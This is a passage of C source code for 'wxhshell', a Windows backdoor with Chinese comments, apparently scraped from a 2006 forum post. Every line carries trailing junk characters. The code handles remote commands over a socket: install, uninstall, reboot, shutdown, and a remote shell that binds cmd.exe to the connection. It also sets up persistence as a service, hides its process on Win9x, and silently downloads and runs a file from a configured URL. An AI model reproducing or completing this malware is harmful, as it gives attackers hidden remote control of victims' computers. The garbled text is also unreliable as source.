  // 安装 zNRoFz.  
  case 'i': { (u85$_C  
    if(Install()) K1uN(T.Ju  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6,M>'s,N  
    else ==(9P`\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7|PpAvMF  
    break; nS[0g^}  
    } b_ Sh#d&  
  // 卸载 0TU~Q  
  case 'r': { udB:ys  
    if(Uninstall()) L5%~H?K(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]+)z}lr8 C  
    else FOpOS?Cr'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PYr#vOH  
    break; {r.#R| 4v  
    } LfyycC2E  
  // 显示 wxhshell 所在路径 !;lA+O-t  
  case 'p': { >4GhI65  
    char svExeFile[MAX_PATH]; 7>xxur&  
    strcpy(svExeFile,"\n\r"); N'Va&"&73>  
      strcat(svExeFile,ExeFile); ,^O**k9F  
        send(wsh,svExeFile,strlen(svExeFile),0); `m<l8'g  
    break; Cca( oV  
    } N J:]jd  
  // 重启 k#`.!yI,  
  case 'b': { 7M}T^LC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (rFY8oHD  
    if(Boot(REBOOT)) CU6rw+Vax  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2N)=fBF%-  
    else { qfE/,L(B  
    closesocket(wsh); %^^2  
    ExitThread(0); :BCjt@K}  
    } ttLC hL  
    break; -Qo`UL.}  
    } hU5[k/ q  
  // 关机 )vO Zp&  
  case 'd': { ?yddr`?W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )z3mS2  
    if(Boot(SHUTDOWN)) oe`o UnN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n?@3R#4D3  
    else { '1ff|c!x9  
    closesocket(wsh); fMwJwMT8  
    ExitThread(0); 2tC ep  
    } g]iWD;61  
    break; /fA:Fnv  
    } 8gJ"7,}-'  
  // 获取shell T*\'G6e  
  case 's': { TWl':}  
    CmdShell(wsh); kP%'{   
    closesocket(wsh); X1:|   
    ExitThread(0); UBpYR> <\  
    break; Rg<y8~|'}  
  } A)040n  
  // 退出 G hLgV  
  case 'x': { dTyTj|"x{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (rt DT  
    CloseIt(wsh); Um;ReJ8z  
    break; sq*R)cZ  
    } Ts:dnGR5  
  // 离开 56u'XMB?  
  case 'q': { ckP&N:tC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4 u X<sJ*  
    closesocket(wsh); |^Try2@  
    WSACleanup(); C5i]n? )S  
    exit(1); 9+@_ZI-  
    break; //Ioh (N  
        } =NAL*4c+  
  } k<"ZNQm$.  
  } ?ZdHuuDN~  
+%eMm.(  
  // 提示信息 ,V)yOLApVj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vkE6e6,Qc  
} "<3PyW?zt  
  } ^O#,%>1J  
y2\, L  
  return; P~;NwHZ?k  
} gO<>L0,j  
6aCAz2 /  
// shell模块句柄 P_hwa1~d  
int CmdShell(SOCKET sock) |GL#E"[&'  
{ {\`#,[  
STARTUPINFO si; X )fj&  
ZeroMemory(&si,sizeof(si)); ub}t3#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^ft_1d[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V.'EP  
PROCESS_INFORMATION ProcessInfo; =4 &9!Z  
char cmdline[]="cmd"; *`ji2+4Sjw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /4w&! $M-  
  return 0; {qx}f^WV  
} +q) ^pCC  
r4Pm i  
// 自身启动模式 3?Bq((  
int StartFromService(void) vwZ2kk!|i  
{ n1DD+@  
typedef struct n0@e%=H)I  
{ L\nWhmwl  
  DWORD ExitStatus; $4>K2  
  DWORD PebBaseAddress; p:k>!8.Qho  
  DWORD AffinityMask; O]m,zk  
  DWORD BasePriority; 2<fG= I8  
  ULONG UniqueProcessId; ?b2"~A  
  ULONG InheritedFromUniqueProcessId; -nN}8&l  
}   PROCESS_BASIC_INFORMATION;  s4;SA  
VZb0x)w  
PROCNTQSIP NtQueryInformationProcess; l *yml  
1`5d~>fV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qW][Q%'lt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Th`IpxV  
oVb6,Pn  
  HANDLE             hProcess; ]^VC@$\)+  
  PROCESS_BASIC_INFORMATION pbi; >LFhu6T  
}c| Xr^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A"I:cw"KY  
  if(NULL == hInst ) return 0; V\PGk<VO  
0>4:(t7h\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $}aLFb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q,^^c1f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )+N%!(ki  
^&h|HO-5  
  if (!NtQueryInformationProcess) return 0; 53=s'DZ  
I Vq9z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _yJd@  
  if(!hProcess) return 0; @/`b:sv&*  
<{9E.6G`n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t{Q9Kv  
#";(&|7  
  CloseHandle(hProcess); FX+Ra@I!  
C \H%4p1r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fE|([ ` !  
if(hProcess==NULL) return 0; M!,$i  
PD:" SfV,G  
HMODULE hMod; 7zgU>$i  
char procName[255]; .^l;3*X@  
unsigned long cbNeeded; or]8;eQ?  
?%iAkV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &( b\jyf  
U"aFi  
  CloseHandle(hProcess); F4e<=R  
d; oaG (e  
if(strstr(procName,"services")) return 1; // 以服务启动 [|<|a3']|  
^WVH z;  
  return 0; // 注册表启动 (4>k+ H  
} j Bl I^  
+g/y)]AP  
// 主模块 !HY+6!hk  
int StartWxhshell(LPSTR lpCmdLine) 1$q SbQ  
{ {E@Vh  
  SOCKET wsl; `V$i*{c:#  
BOOL val=TRUE; kRTT ~  
  int port=0; Yr ,e7da  
  struct sockaddr_in door; g&\A1H  
Z[FSy-;"  
  if(wscfg.ws_autoins) Install(); 3O:Z;YP:<  
UKZsq5Q  
port=atoi(lpCmdLine); )<UNiC   
RoJ{ ou@cs  
if(port<=0) port=wscfg.ws_port; Z81]>  
@2L+"=u#  
  WSADATA data; {Tm31f(oD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mPi4.p)  
ES(b#BlrP/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bs kG!w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -nV]%vJ$R}  
  door.sin_family = AF_INET; wZ0$ylEX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #:v|/2   
  door.sin_port = htons(port); w=rh@S]  
{}s7q|$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >IJH#>i  
closesocket(wsl); :,fs' !  
return 1; }<[@)g.h.  
} ;xN 4L  
f-k%P$"X&  
  if(listen(wsl,2) == INVALID_SOCKET) { dTB^6 >H  
closesocket(wsl); W+cmn)8  
return 1; h&{9 &D1t  
} Elo m_   
  Wxhshell(wsl); ~Z=Q+'Hu0  
  WSACleanup(); Z7V 1e<E  
%S. _3`A  
return 0; ol^OvG:TQ  
q$yTG!q*  
} qdx(wGG  
,@;",  
// 以NT服务方式启动 N41)?-7F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o 3#qp>R  
{ 7ykpDl^@  
DWORD   status = 0; Z_zN:BJ8L  
  DWORD   specificError = 0xfffffff; %u, H2 *  
Ovq-rI{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [O2xE037h`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,gVA^]eDh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0B>hVaj>-  
  serviceStatus.dwWin32ExitCode     = 0; @dvlSqm)  
  serviceStatus.dwServiceSpecificExitCode = 0; 2y>~<S  
  serviceStatus.dwCheckPoint       = 0; D. fP Hq  
  serviceStatus.dwWaitHint       = 0; "iMuA  
%d c=Q SL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +g(>]!swb  
  if (hServiceStatusHandle==0) return; [d`J2^z}  
@>}!g9c  
status = GetLastError(); l:-$ulAx  
  if (status!=NO_ERROR) Q_$aiE  
{ ]o$aGrZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }Y[xj{2$O  
    serviceStatus.dwCheckPoint       = 0; IE+{W~y\  
    serviceStatus.dwWaitHint       = 0; V`fp%7W  
    serviceStatus.dwWin32ExitCode     = status; }xk85*V  
    serviceStatus.dwServiceSpecificExitCode = specificError;  _/;vsQB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =2F;'T\6  
    return; zVKbM3(^  
  } *P7 H=Yf&  
h64<F3}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !i,Eo-[Z  
  serviceStatus.dwCheckPoint       = 0; vO`~rUA  
  serviceStatus.dwWaitHint       = 0; 93Kd7x-3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mSm:>hBd  
} 8oK*NB29  
?1T)cd*  
// 处理NT服务事件,比如:启动、停止 j^;f {0f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oCg|* c|+  
{ Y``50{7  
switch(fdwControl) xAbx.\  
{ 1YV ;pEw3w  
case SERVICE_CONTROL_STOP: e{EKM4  
  serviceStatus.dwWin32ExitCode = 0; w j !YYBH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A=JPmsj.  
  serviceStatus.dwCheckPoint   = 0; {$-lXw4  
  serviceStatus.dwWaitHint     = 0; Hb55RilC  
  { D_]4]&QYT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -N $4\yp  
  } :[xFp}w{  
  return; uH="l.u  
case SERVICE_CONTROL_PAUSE: }$i Kz*nx|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ? l/VCEZP  
  break; lHerEv<ja  
case SERVICE_CONTROL_CONTINUE: O?L6Ues  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L{1MyR7`I+  
  break; q4=Gj`\43  
case SERVICE_CONTROL_INTERROGATE: *eL&fC  
  break; c|m*< i  
}; NXo$rf:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4zKmoYt  
} x7J8z\b"O  
]dIcW9a  
// 标准应用程序主函数 sB`.G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !xcLJ5^W  
{ TS4Yzq,f  
lt08 E2p9  
// 获取操作系统版本 ^%ZbjJ7|j  
OsIsNt=GetOsVer(); IJ\4S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^x2zMB\t  
NH9"89]E  
  // 从命令行安装 3MX&%_wUhB  
  if(strpbrk(lpCmdLine,"iI")) Install(); n x4:n@J  
{6Y|Z>  
  // 下载执行文件 V3D`pt\[x  
if(wscfg.ws_downexe) { u+EZ"p;o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xnP@ h  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3D 4-Wo4  
} (%~^Kmfb0  
$ /`X7a{  
if(!OsIsNt) { 3fGL(5|_  
// 如果时win9x,隐藏进程并且设置为注册表启动 !aQb Kp  
HideProc(); Rax]svc  
StartWxhshell(lpCmdLine); Xna58KF/  
} g$f+X~Q  
else R*0]*\C z  
  if(StartFromService()) 7<GC{/^T  
  // 以服务方式启动 | KtI:n4d  
  StartServiceCtrlDispatcher(DispatchTable); IVSOSl|  
else C(CwsdlP  
  // 普通方式启动 UOIB}ut V  
  StartWxhshell(lpCmdLine); 56w uk [)  
W {A4*{  
return 0; J4?i\wD:  
}
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只看该作者 1 发表于: 2006-10-10
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